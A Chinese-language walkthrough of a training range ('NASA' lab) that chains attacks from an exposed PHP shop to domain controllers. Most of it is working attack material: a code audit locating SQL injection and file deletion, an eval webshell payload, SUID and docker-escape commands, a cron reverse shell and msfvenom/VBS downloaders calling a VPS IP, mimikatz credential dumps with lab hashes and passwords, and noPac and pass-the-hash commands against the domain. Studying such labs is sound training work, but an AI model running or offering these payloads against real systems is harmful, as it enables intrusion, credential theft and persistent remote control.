从外网打点到渗透内网域控 NASA
文章目录
- 从外网打点到渗透内网域控 NASA
- 前言
- 任务说明
- 靶场拓扑
- 环境搭建
- 外网打点
- 端口扫描
- 使用 masscan 扫描全部端口
- 使用 nmap 扫描全部端口
- 目录扫描
- 后台测试
- 社工生成字典
- 代码审计
- 密码找回 sql 注入
- 手机版 支付存在 sql注入
- 任意文件删除漏洞
- 任意文件上传配合重装漏洞 getshell
- 主机提权
- 信息收集
- find SUID 提权
- 反向代理 msf 上线
- docker 逃逸
- 添加 root 权限用户
- 创建交互 shell
- 开始 docker 逃逸
- 反弹宿主机 shell
- 上线 msf
- 内网渗透
- 内网信息收集
- fscan扫描内网
- msf 设置代理扫描内网
- ms17-010 攻击
- iis6.0 溢出攻击获得权限
- 上线cs
- 使用 CVE-2009-1535-IIS6 2003 提权
- flag 的获取以及当前主机信息收集
- 内网主机扫描
- 横向渗透
- win 7 的信息收集
- CVE-2021-42278 and CVE-2021-42287 攻击域控
- psexec 连接
- 上线 cs
- 总结
从外网打点到渗透内网域控 NASA
本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
前言
本次项目是一个是模拟渗透测试 电信诈骗网站(我与诈骗不共戴天),境外人员依赖该网站通过优惠卷诱导受害者进行消费,诈骗受害人金钱。
任务说明
nasa靶场是综合考核学员能力的项目,主要是考核 外网打点到渗透内网域控的综合能力。操作系统 包括 linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。涉及代码审计 外网打点 多种漏洞配合拿webshell,linux提权 docker逃逸,内网常见漏洞模块利用,内网漫游、域权限的获取等技术。
通过渗透测试方式,获取五个flag.txt 即可
靶场拓扑
环境搭建
主机名 | IP | 账号 | 密码 |
---|---|---|---|
ubuntu | 192.168.59.138 | ubuntu | QWEasd444 |
win2003 | 192.168.59.144 ,10.10.10.137 | administrator | admin5555 |
win7 | 192.168.59.197 , 10.10.10.142 | win7 | admin5555 |
19server-01 | 10.10.10.140 | nasa\administrator | QWEasd.123 |
19server-02 | 10.10.10.141 | nasa\administrator | QWEasd.123 |
nasa\test | QWEasd!@#99 |
使用两个网卡 NAT 和 VMnet18
虚拟机设置完毕后,我们还需要一个 购买一个 vps ,设置frp反响代理把 ubuntu上的网站映射出去。
这里我就使用两个 vps 来进行复现,一个用于 msf 和 cs ,一个用于映射ubuntu上的网站
vsp
frps.ini
[common]
# 监听的端口
bind_port = 8888
# 相对于连接密码
token = QWEasd123
# 启动服务端
frps.exe -c frps.ini
ubuntu
frpc.ini
[common]
server_addr = 124.223.169.73
server_port = 8888
token = QWEasd123
[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
# 将访问vps 80 端口的流量 转到 127.0.0.1:80
remote_port = 80
# 启动客户端
./frpc -c frpc.ini# 这里为了方便,我们使用以下命令将他放在后台运行
nohup ./frpc -c frpc.ini &
我们访问 vps的80端口,能够出现页面就成功了。
外网打点
端口扫描
首先对端口进行端口扫描,获取开放的端口,大致了解当前服务器的开放端口,得到开放端口后再进行端口探测,获取端口的指纹信息。
使用 masscan 扫描全部端口
这里的 发包数不能太高 否则可能扫描不出结果
Tips:一般常见的端口都在 10000 以内,可以只扫描 10000 以内的端口
sudo masscan -p 1-10000 124.223.169.73 --rate=100
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7HH2uDP-1661500900536)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220804221409332.png)]
这里不知道为什么,扫描不出来开放端口。
把速度和端口数量减少后能扫描出来,但是有遗漏。
有懂的师傅可以评论解答嘛,感谢。
使用 nmap 扫描全部端口
nmap 124.223.169.73 -p 1-65535 -Pn -sV -oN open-port.txt
扫描全部的端口特别慢,建议只扫描一部分端口。
开放端口
25/tcp open tcpwrapped
80/tcp open tcpwrapped
110/tcp open tcpwrapped
从端口上面看,没有什么可以利用的。
目录扫描
我们扫描一下网站目录,看看能不能得到什么有用的信息。
讲真的我看到结果的时候有点意外,还以为我ip被屏蔽了呢。后经测试发现全部都是正确的。
4000多的目录只能说明这个系统太大了,不过越大的系统漏洞也就比较多。
总结了一下比较关键的目录:
# 后台登录地址
http://124.223.169.73/admin/webadmin.php?mod=do&act=login
# 前台登录地址
http://124.223.169.73/user.php?mod=do&act=login&fromto=http%3A%2F%2F124.223.169.73%2F
# 重装系统地址
http://124.223.169.73/install/
为了方便测试我们,注册一个前台登录的用户
user:shiliana
passwd:123456
后台测试
我们先测试一下后台是否存在弱口令之类的。
这里没有测试出弱口令,但是存在一个验证码复用的漏洞。
我们可以通过社工生成字典进行爆破,或者使用大字典进行爆破。从而获得后台登录权限。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQO9SI3X-1661500900538)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220805095101249.png)]
社工生成字典
网站地址:https://api.xiaobaibk.com/lab/guess/
使用 burp 进行爆破成功获得后台登录密码
代码审计
上面是通过社工获取密码,针对的是弱口令相关,如果用户用高强度的密码,这种方式基本失败。所以还是将重点放在挖掘漏洞这方面,从网站后台,可以看到是《逍遥商城管理系统》通过百度找到这个系统,本地搭建,进行黑盒测试,代码审计找出漏洞。
密码找回 sql 注入
hook/yzmlog.hook.php
function add_yzmlog($user, $yzm) {global $db;$sql_set['yzmlog_user'] = $user;$sql_set['yzmlog_value'] = $yzm;$sql_set['yzmlog_atime'] = time();$sql_set['yzmlog_adate'] = date('Y-m-d');# 调用了 pe_ip ,这个方法没有经过严格的过滤$sql_set['yzmlog_ip'] = pe_ip();if ($db->pe_insert("yzmlog", $sql_set)) {return true;}else {return false;}
}
public/function/global.func.php
// 获取ip
function pe_ip()
{if (isset($_SERVER)){if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {$realip = $_SERVER["HTTP_CLIENT_IP"];} else {$realip = $_SERVER["REMOTE_ADDR"];}} else {if (getenv("HTTP_X_FORWARDED_FOR")){$realip = getenv("HTTP_X_FORWARDED_FOR");} else if (getenv("HTTP_CLIENT_IP")) {$realip = getenv("HTTP_CLIENT_IP");} else {$realip = getenv("REMOTE_ADDR");}}$ip_arr = explode(',', $realip);return $ip_arr[0];
}
具体调用
hook/yzmlog.hook.php
function send_yzm($type, $user, $apitype = 'juhe') {global $db, $cache_setting;pe_lead('hook/qunfa.hook.php');$user = pe_dbhold($user);$yzm = rand(100000,999999);//$linshi_pw = substr(md5($pe['host_root'].$email.rand(1,9999).time()), 5, 6);if ($type == 'email') {$email['qunfa_name'] = "尊敬的{$user}用户,请查收您的验证码"; $email['qunfa_text'] = "尊敬的用户,您的邮箱验证码为:{$yzm},验证码有效期为30分钟!请尽快验证,谢谢!"; $result = qunfa_email($user, $email);}else {//一分钟内最多发送3次$nowtime = time() - 60;$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_atime` >= '{$nowtime}'");if ($yzmnum >= 3) {return array('result'=>false, 'show'=>'您发送的太频繁了,请稍后再试');}//一天内未验证次数超过5次的手机号就不让再发送了$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");if ($yzmnum >= 5) {return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');}//一天内未验证次数超过10次的ip就不让再发送了$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_ip` = '".pe_ip()."' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");if ($yzmnum >= 10) {return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');}$result = qunfa_sms($user, "【{$cache_setting['sms_sign']}】尊敬的用户,您的验证码为:{$yzm}。如非本人操作,请忽略本短信");}if ($result['result']) add_yzmlog($user, $yzm);return $result;
}
但是因为网站只是测试环境所以没有发送验证码的功能,利用失败。
手机版 支付存在 sql注入
module/mobile_user/back.php
<?php $menumark = 'lxb';
$cook_uid = $_SESSION['user_id'];
switch ($act) {case 'list':default:$order_list = $db2->getAll('select * from xy_order where user_id='.$cook_uid.' and ( order_state = "whuishou" or order_state = "endhuishou" ) order by id desc ');$goods = array();$i=0;foreach( $order_list as $k => &$v ){ $products = $db2->getAll( 'select * from xy_orderdata where order_id='.$v['order_id'] );foreach( $products as $pk => &$vs ){$goods[$i] = $db2->getOne( 'select product_name from xy_product where product_id= '.$vs['product_id'] );$i++;}$v['product_name'] = implode(',', $goods );$v['product_logo'] = $vs['product_logo'];}$menutitle = '我的回收';$seo = pe_seo($menutitle);include(pe_tpl('huishou_list.html'));break;case 'dohuishou':$order_id = trim( $_REQUEST['order_id'] );// 这里存在注入,传入数据未经过滤$order = $db2->getRow('select * from xy_order where order_id="'.$order_id.'"');if( empty( $order ) ){json_error('订单不存在');}if( $order['order_pstate'] == 0 ){json_error('订单未付款');}if( $order['order_state'] == 'whuishou' ){json_error('回收中,请勿重复操作');}if( $order['order_state'] == 'endhuishou' ){json_error('回收成功,请勿重复操作');}$money = max( $order['order_product_money'], $order['order_money'] );$order_goods = $db2->getAll( 'select * from xy_orderdata where order_id="'.$order_id.'"' );$back_money_all = 0;foreach($order_goods as $kg => $ov ){$goods = $db2->getRow( 'select * from xy_product where product_id='.$ov['product_id'] );$hsmoney = $goods['product_bmoney'];if( $hsmoney <= 0 ){$xy_set['reback_percent'] = $xy_set['reback_percent'] ? $xy_set['reback_percent'] : 100 ;$hsmoney = $ov['product_smoney'] * $xy_set['reback_percent'] / 100;}$back_money_all += $hsmoney;}#$xy_set['reback_percent'] = $xy_set['reback_percent'] ? $xy_set['reback_percent'] : 100 ;#$huishou_money = ( $xy_set['reback_percent'] / 100 ) * $money;$huishou_money = $back_money_all;$db2->query('update xy_order set order_state = "whuishou" ,huishou_money="'.$huishou_money.'" where order_id="'.$order_id.'" ');json_ok('操作成功,等待审核');break;case 'apply' :$order_id = trim( $_GET['order_id'] );$menutitle = '回收';$seo = pe_seo($menutitle);include(pe_tpl('huishou.html'));break;}
如果 $act=‘dohuishou’,再传入 order_id ,其中 order_id 没有经过过滤就造成 sql注入。
由于注入点为手机版的网页,所以在火狐浏览器上下载一个 User-Agent Switcher 模拟手机的 User-Agent
登录抓取包使用sqlmap 对其进行注入,找到后台登录密码。
sqlmap -r C:\Users\Anonymous\Desktop\sql.txt -D yhj -T xy_admin -C admin_name,admin_pw --dump --dbms mysql --batch
GET /user.php?mod=back&act=dohuishou&order_id=* HTTP/1.1
Host: 124.223.169.73
User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:83.0) Gecko/83.0 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=kikvq8tmr4tv2isbe4ntp328v5
Upgrade-Insecure-Requests: 1
解密获得密码
任意文件删除漏洞
admin/module/db.php
switch ($act) {//####################// 数据导入 //####################//case 'import'://pe_error('演示站已关闭导入数据功能');pe_token_match();if ($_g_dbname) {$db_list = pe_dirlist("{$pe['path_root']}data/dbbackup/{$_g_dbname}/xiaoyao_*#v*.sql");count($db_list) == 0 && pe_error("目录下没有有效的数据库文件");$db_listname = explode('#', $db_list[0]);pe_goto("webadmin.php?mod=db&act=import_one&path={$_g_dbname}&mark={$db_listname[0]}&num=1");}else {pe_error("请选择需要导入的数据库目录...");}break;//####################// 数据导入(执行) //####################//case 'import_one':if (is_file($sqlname = "{$pe['path_root']}data/dbbackup/{$_g_path}/{$_g_mark}#v{$_g_num}.sql")) {$num = $_g_num + 1;sql_import($sqlname) ? pe_success('数据导入中请勿刷新!', "webadmin.php?mod=db&act=import_one&path={$_g_path}&mark={$_g_mark}&num={$num}") : pe_error('数据导入失败...', 'webadmin.php?mod=db');}else { pe_success('数据导入完成!', 'webadmin.php?mod=db');}break;//####################// 数据备份 //####################//case 'backup':$back_path = "{$pe['path_root']}data/dbbackup/".date('Ymd@His')."/";$table_list = $db->sql_selectall("show table status from `{$pe['db_name']}`");$mark = substr(md5(uniqid().rand(1, 999999).time().rand(1, 999999)), rand(1,24), 8);$pe_cutsql = "/*#####################@ pe_cutsql @#####################*/\n";if (isset($_p_pesubmit)) {//不分卷pe_token_match();if ($_p_backup_cut && $_p_backup_where == 'down') pe_error('本地下载不支持分卷备份...');if ($_p_backup_cut && !$_p_backup_cutsize) pe_error('请填写分卷文件大小...');if ($_p_backup_where == "server") {!is_dir($back_path) && mkdir($back_path, 0777, true);!is_writable($back_path) && pe_error("{$back_path} 目录没有写入权限...");}if (!$_p_backup_cut) {$sql_arr = array();foreach ($table_list as $v) {$sql_arr = array_merge($sql_arr, dosql($v['Name']));}$sql = implode($pe_cutsql, $sql_arr);if ($_p_backup_where == 'down') {down_file($sql, 'xiaoyao_db.sql');}elseif ($_p_backup_where == 'server') {if (file_put_contents("{$back_path}xiaoyao_{$mark}#v1.sql", $sql)) {file_put_contents("{$back_path}index.html", '');pe_success("数据备份完成!");}else {pe_error("数据备份失败...");}}}else {$vnum = 1;$sql_arr = array();foreach ($table_list as $v) {$sql_arr = array_merge($sql_arr, dosql($v['Name']));$sql = implode($pe_cutsql, $sql_arr);if (strlen($sql) >= $_p_backup_cutsize * 1000) {file_put_contents("{$back_path}xiaoyao_{$mark}#v{$vnum}.sql", $sql);$sql_arr = array();$vnum++;}}$sql && file_put_contents("{$back_path}xiaoyao_{$mark}#v{$vnum}.sql", $sql);file_put_contents("{$back_path}index.html", '');pe_success("数据分卷备份完成!");}}break;//####################// 数据删除 //####################//case 'del'://pe_error('演示站未开启删除权限');pe_token_match();// 其中的 $_g_dbname 未经过过滤pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");pe_success('删除完成!');break;//####################// 数据备份恢复 //####################//default:$backup_list = (array)pe_dirlist("{$pe['path_root']}data/dbbackup/*");rsort($backup_list);$seo = pe_seo($menutitle='数据备份', '', '', 'admin');include(pe_tpl('db_list.html','admin'));break;
}
在数据删除处,传入的路径没有经过过滤直接拼接会造成删除任意路径下的文件。
任意文件上传配合重装漏洞 getshell
在上面扫描目录的时候我们就发现了,存在一个 install 的重装系统路径,不够需要删除一个指定文件才能重新安装系统。
刚好我们上面存在一个删除任意文件的漏洞,我们可以利用漏洞来删除 install.lock 文件。
我们拼接一下利用路径:
../../install/install.lock
burp 抓包修改删除文件
重装系统插入 一句话
**Tips:**重装系统的危害比较大,在真实的渗透测试环境一定要取得授权才能进行下一步操作。
在这里面填写的信息会写入到 config.php 的配置文件中,所以构造以下语句写入一句话:
xy_');eval($_POST['x']);//
其中的数据库用户名和密码不知道的话,我们可以在公网上开放一个mysql服务让它去连接我们的mysql服务。
这里我是知道的所以就不弄这么麻烦了。
我们使用蚁剑进行连接
我们可以重新上传一个马或者上传其他工具的马,把配置文件改回去复制网站出现错误。
主机提权
信息收集
上传脚本 LinEnum.sh 进行信息收集,脚本可以去GitHub上下载。
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################[-] SUID files:
-rwsr-xr-x 1 root root 233984 Nov 8 2014 /usr/bin/find
-rwsr-xr-x 1 root root 53616 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 75376 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44464 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 54192 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 39912 May 17 2017 /usr/bin/newgrp
-rwsr-xr-- 1 root messagebus 294512 Nov 22 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 464904 Nov 19 2017 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 40000 Mar 29 2015 /bin/mount
-rwsr-xr-x 1 root root 70576 Oct 28 2014 /bin/ping
-rwsr-xr-x 1 root root 27416 Mar 29 2015 /bin/umount
-rwsr-xr-x 1 root root 40168 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 61392 Oct 28 2014 /bin/ping6[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 233984 Nov 8 2014 /usr/bin/find[+] Looks like we're in a Docker container:
12:pids:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
11:hugetlb:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
10:memory:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
9:cpu,cpuacct:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
8:freezer:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
7:net_cls,net_prio:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
6:blkio:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
5:perf_event:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
3:devices:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
2:cpuset:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
1:name=systemd:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
-rwxr-xr-x 1 root root 0 Mar 5 06:13 /.dockerenv### SCAN COMPLETE ####################################
可以看到可以使用 SUID 提权,并且机器在 docker容器 中。
find SUID 提权
find /etc/passwd -exec whoami \;
反向代理 msf 上线
我准备了两台 vps 一台用于 代理web网站 ,另外一台用于 代理 msf。
在 vps 上设置 frps.ini
[common]
bind_port = 5555
token = QWEasd123
# 后台运行
nohup ./frps -c frps.ini &
在内网的 kali 上设置 frpc.ini
其中的端口映射可以有多个
[common]
server_addr = 121.4.60.34
server_port = 5555
token = QWEasd123
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6666
[msf1]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 7777
# 后台运行
nohup ./frpc -c frpc.ini &
msf 上线
生成 Linux 木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=121.4.60.34 lport=6666 -f elf > L.elf
上传到目标机器上,使用find 提权执行
find /etc/passwd -exec "./L.elf" \;
msf 监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 6666
run
获得会话
docker 逃逸
在之前的信息收集中,我们知道我们是在一个 docker 容器中,并且我们利用 suid 提权可以获得 docker 的root权限。
因为docker 逃逸会用到交互式shell,所以我们直接先添加一个root权限用户,并且反弹一个shell来进行 docker 逃逸。
添加 root 权限用户
openssl passwd -1 -salt hack pass@123
echo 'hack:$1$hack$Uv3HBaOpAk0U48M39ZdtG1:0:0:root:/root:/bin/bash' >> /etc/passwd
在msf会话中输入 shell 后输入下面的代码
echo 'hack:$1$hack$Uv3HBaOpAk0U48M39ZdtG1:0:0:root:/root:/bin/bash' >> /etc/passwd
创建交互 shell
python -c 'import pty; pty.spawn("/bin/bash")'
su hack
# 输入密码
开始 docker 逃逸
# 创建目录
mkdir /test
# 将宿主的目录挂载到test目录
mount /dev/sda1 /test
# 改变根目录为 /test
chroot /test
反弹宿主机 shell
echo '/bin/bash -i >& bash -i >&/dev/tcp/121.4.60.34/8888 0>&1' > /tmp/sec.sh && chmod +x /tmp/sec.sh && cat /tmp/sec.sh && echo '*/1 * * * * root bash /tmp/sec.sh' >>/etc/crontab
在 vps 监听
nc -lnvp 8888
成功获得反弹 shell
上线 msf
这里我们使用 wget 进行下载我们的后门文件并运行
wget http://121.4.60.34:7777/L.elf
msf 成功获得了宿主机的 root 权限
已经拿下了一台边缘主机,接下来就是进行内网渗透了,这里应该有应该 flag 如下:
moonsec_flag{182be0c5cdcd5072bb1864cdee4d3d6e}
内网渗透
内网信息收集
在信息收集方面,要收集内网常用端口 445,443等以及存活主机。
fscan扫描内网
这个工具在内网扫描中十分好用,在主机扫描的时候还可以进行漏洞扫描。
GitHub下载地址: https://github.com/shadow1ng/fscan
# msf会话上传文件命令
upload /home/kali/桌面/fscan_amd64_1.6 /root
# fscan 扫描命令
./fscan_amd64_1.6 -h 192.168.59.0/24 -np -no -nopoc
扫描结果
扫描出两台主机
192.168.59.197 # Windows 7
192.168.59.144 # winodws 2003
这里我们看到两台主机都进行了 ms17-010(永恒之蓝)的扫描,一会我们可以使用 msf 的攻击模块去打一下试试。
msf 设置代理扫描内网
添加路由
run get_local_subnets
run autoroute -s 192.168.59.0 255.255.255.0
run autoroute -p
启动代理 使用VERSION 5
background
use auxiliary/server/socks_proxy
run
设置 kali 的 /etc/proxychains4.conf 文件
sudo vi /etc/proxychains4.conf
添加 socks5 127.0.0.1 1080
proxychains4 调用nmap扫描内网
sudo proxychains4 nmap -sT -Pn 192.168.59.144 -p 445,80,443
使用nmap 扫描网段,显示存在 254 台主机并且端口全部都是开放的,不知道什么毛病。
有懂的师傅解答一下,十分感谢!
ms17-010 攻击
use exploit/windows/smb/ms17_010_eternalblue
# 这里只有我们能够访问到它,所以设置正向木马
set payload windows/x64/meterpreter/bind_tcp
set lport 7777
set rhosts 192.168.59.144
run
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i0v6XBma-1661500900553)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220805153623820.png)]
这里两台主机都利用失败了,寻找其他方法。
iis6.0 溢出攻击获得权限
这里我也不知道师傅们是怎么找到这个漏洞的,如果实在是找不到漏洞了可以尝试在边缘主机上搭一个代理然后使用 nessus 进行扫描说不定会有意外收获。
proxychains4 python2 ii6.py 192.168.59.144 80 121.4.60.34 8889
在 vps 监听
nc -lvnp 8889
成功获得 shell
上线cs
设置监听器
设置后门下载地址
下载后门文件,并运行上线。
# 我们 cd 到这个目录其他目录可能不能写入,这个目录默认是可以写入的
cd C:\WINDOWS\Temp\echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbscscript downfile.vbs http://121.4.60.34:80/download/cs.exe cs.exe
查看 cs 上线
使用 CVE-2009-1535-IIS6 2003 提权
我们在cs中上传 提权 exp
使用 提权 exp执行之前的木马给我反弹一个系统权限。
这里的提权手法肯定不止一个,我们可以 systeminfo 拿去在线网站进行检测。
flag 的获取以及当前主机信息收集
获取flag
shell type "C:\Documents and Settings\Administrator\root.txt"
moon_flag{7555051b6d8a2dca27a29f9cb0d2e3a6}
抓取 hash
hashdump
抓取明文密码
logonpasswords
查看当前网卡
shell ipconfig
存在两个网段。
内网主机扫描
这里因为笔记本的内存比较小没办法把所有虚拟机都打开,所以我只开了三台。
横向渗透
得到了存活主机,我们可以使用 hash 传递试一试能不能拿下其他主机。
这里利用失败了,我们使用 python版的 psexec 试试
或者利用 msf 中的 ms17_010_psexec 进行登录
最后得到 win7 权限
win 7 的信息收集
抓取 hash
抓取 明文密码
这里我们得到了一个域用户,一会域渗透能够用到。
Authentication Id : 0 ; 1118427 (00000000:001110db)
Session : Interactive from 2
User Name : test
Domain : NASA
Logon Server : AD01
Logon Time : 2022/8/6 15:31:41
SID : S-1-5-21-320502414-1314547354-1033589243-1134msv : [00000003] Primary* Username : test* Domain : NASA* LM : a071457d1ede2871a365438a9412e9f4* NTLM : 59e3c9f97af3f257b02409bbf3b2da11* SHA1 : c4eb781da81b515f7d68f68044e97ac00e1d7085tspkg : * Username : test* Domain : NASA* Password : QWEasd!@#999wdigest : * Username : test* Domain : NASA* Password : QWEasd!@#999kerberos : * Username : test* Domain : NASA.GOV* Password : QWEasd!@#999ssp : credman :
收集网段,扫描网段主机
存在两个网段,192 我们已经全部打完了,我们扫描一下 10 段。
存在两台主机
10.10.10.140 AD01
10.10.10.141 AD02
CVE-2021-42278 and CVE-2021-42287 攻击域控
项目下载地址:https://github.com/Ridter/noPac
使用以下命令导出 AD02 的 hash
python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141 -dc-host AD02 --impersonate administrator -use-ldap -dump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
psexec 连接
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.141
获取 flag
moonsec_flag{d3eb9a9233e52948740d7eb8c3062d14}
AD01 同理
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140
获取 flag
moonsec_flag{2181d94fba9a1d2de2b5f6fb75f8ab08}
上线 cs
想要上线 cs,只需要使用上面的下载脚本下载 木马 然后执行就行了。
这里因为时间问题就不进行操作了。
总结
在做项目的时候我们可以把我们学到的知识串联起来,并且在做项目的时候我们会遇到各种各样的问题不会像打靶场那样顺利。遇到这些问题我们要试着去解决它,说不定哪天就可能会遇到同样的问题。
没有人一出生就是大佬,无非是见的多了就懂了。
希望各位能保持一开始的热情,我们顶峰相见。
从外网打点到渗透内网域控 NASA相关推荐
- 内网渗透-内网代理穿透和内网横向移动
内网代理穿透和内网横向移动 文章目录 内网代理穿透和内网横向移动 前言 内网代理穿透 nc termite(ew) ssh正向代理(A,B,C) msf设置路由和sock4代理访问内网流量 内网横向移 ...
- 小迪渗透内网渗透(玖)
文章目录 65. 域环境&工作组&局域网方针(65-72) 演示案例: 涉及资源: 66. 横向批量&schtasks&im&packet 演示案例: 涉及资源 ...
- iptables 状态策略 允许内网连接外网 拒绝外网主动连入内网 _ 笔记
4种状态 new established related invalid NEW ( a连接b 在b没有回复前 都被称为NEW包) ESTABLISHED ( a和b 连接成功 只有一个连接时 称为E ...
- H3C SecPath U200-S 如何在内网使用外网IP地址访问内网服务器
H3C SecPath U200-S 如何在内网使用外网IP地址访问内网服务器 ------------------------------------------------------------ ...
- 无线上外网,有线上内网的方式(转)
原文地址:无线上外网,有线上内网的方式(转)_atongmu2017的博客-CSDN博客 在外面调试程序,内网是调试程序必须的,而要上外网,又只有通过无线连接.不过发现这样有个问题,就是在笔记本的无线 ...
- Windows 内网渗透之攻击域控
文章目录 内网渗透之攻击域控 前言 高权限读取本地密码 procdump+mimikatz绕过杀软 SYSVOL组策略获取密码 Kerberoasting 暴力破解密码 原理 使用setspn查询sp ...
- 内网穿透基础概念---内网外网
广域网和局域网 先上概念 广域网 广域网(英语:Wide Area Network,缩写为 WAN),又称外网.公网.是连接不同地区局域网或城域网计算机通信的远程网.通常跨接很大的物理范围,所覆盖的范 ...
- 如何在外网远程使用内网的打印机【内网穿透】
出差在外,可能会遇上需要使用内网打印机的情况:或者远程需要使用家里的打印机打印文件- 而如何在外网远程使用内网的打印机?可以做内网穿透,将打印机服务端口映射到公网上,生成公网地址,然后在外网设备上使用 ...
- 内网渗透-内网环境下的横向移动总结
内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结 前言 横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全 横向移动威胁的特点 利用psexec 利用psexec.exe工具 msf中 ...
最新文章
- 证书 vivo_iQOO 5 Pro获泰尔实验室首张流畅性能体验五星证书
- ASP.NET MVC + ECharts图表案例
- 关于活动目录中DNS没有SRV记录的解决方法
- sudo 命令报错的解决方法
- 关于sqlserver中xml数据的操作
- ASP.NET2.0文件上传以及图片处理总结篇 [转]
- linux之xargs使用技巧
- 【面试虐菜】—— MongoDB知识整理
- php基础-基本语法
- react刷新页面_【跟着官网学React】Hello World
- 【Java与智能设备】4_1 Activity的创建和跳转
- python处理access数据库教程_Python操作Access数据库基本操作步骤分析
- 快速查询及下载CCF推荐期刊目录方法
- 硬核讲习,10名“悟道”核心成员,剖析大模型
- MATLAB编辑AWG波形,AWG5200任意波形发生器的功能特点及性能分析
- 3步教你如何做好技术入股
- python excel写入一列_python读取excel指定列数据并写入到新的excel方法
- (几何方面:六边形面积)编写程序,提示用户输入六边形的边长,然后输出显示它的面积。 计算六边形面积的公式是:area= s2 这里的s就是边长。下面是一个运行示例: 请输入边长:5.5
- swagger在VS2019 .net core2.2中的使用,及报错undefined /swagger/v1/swagger.json的解决办法
- WPS office出现“xxx.docx中发现无法读取内容,是否恢复此文档中的内容......word在试图打开文件时遇到错误” 紧急解决方案 -- 小黑日常超细解决教程
热门文章
- freemarker之页面静态化
- ORA-28000:账户已被锁定
- 配置低配台式计算机清单,魔兽世界怀旧服对电脑配置要求-最低配置清单一览-Appfound...
- Wandb——Pytorch模型指标可视化及超参搜索
- 最强【网络安全】是哪些大学?看一下一流网络安全学院建设高校
- echarts引导线_如何使用引导线获得更清晰的照片
- 【数据结构-K】基数排序
- python中的美元符号_Python学习笔模式匹配与正则表达式之插入字符和美元字符
- Serializers - Django REST framework
- OpenHarmony音频驱动介绍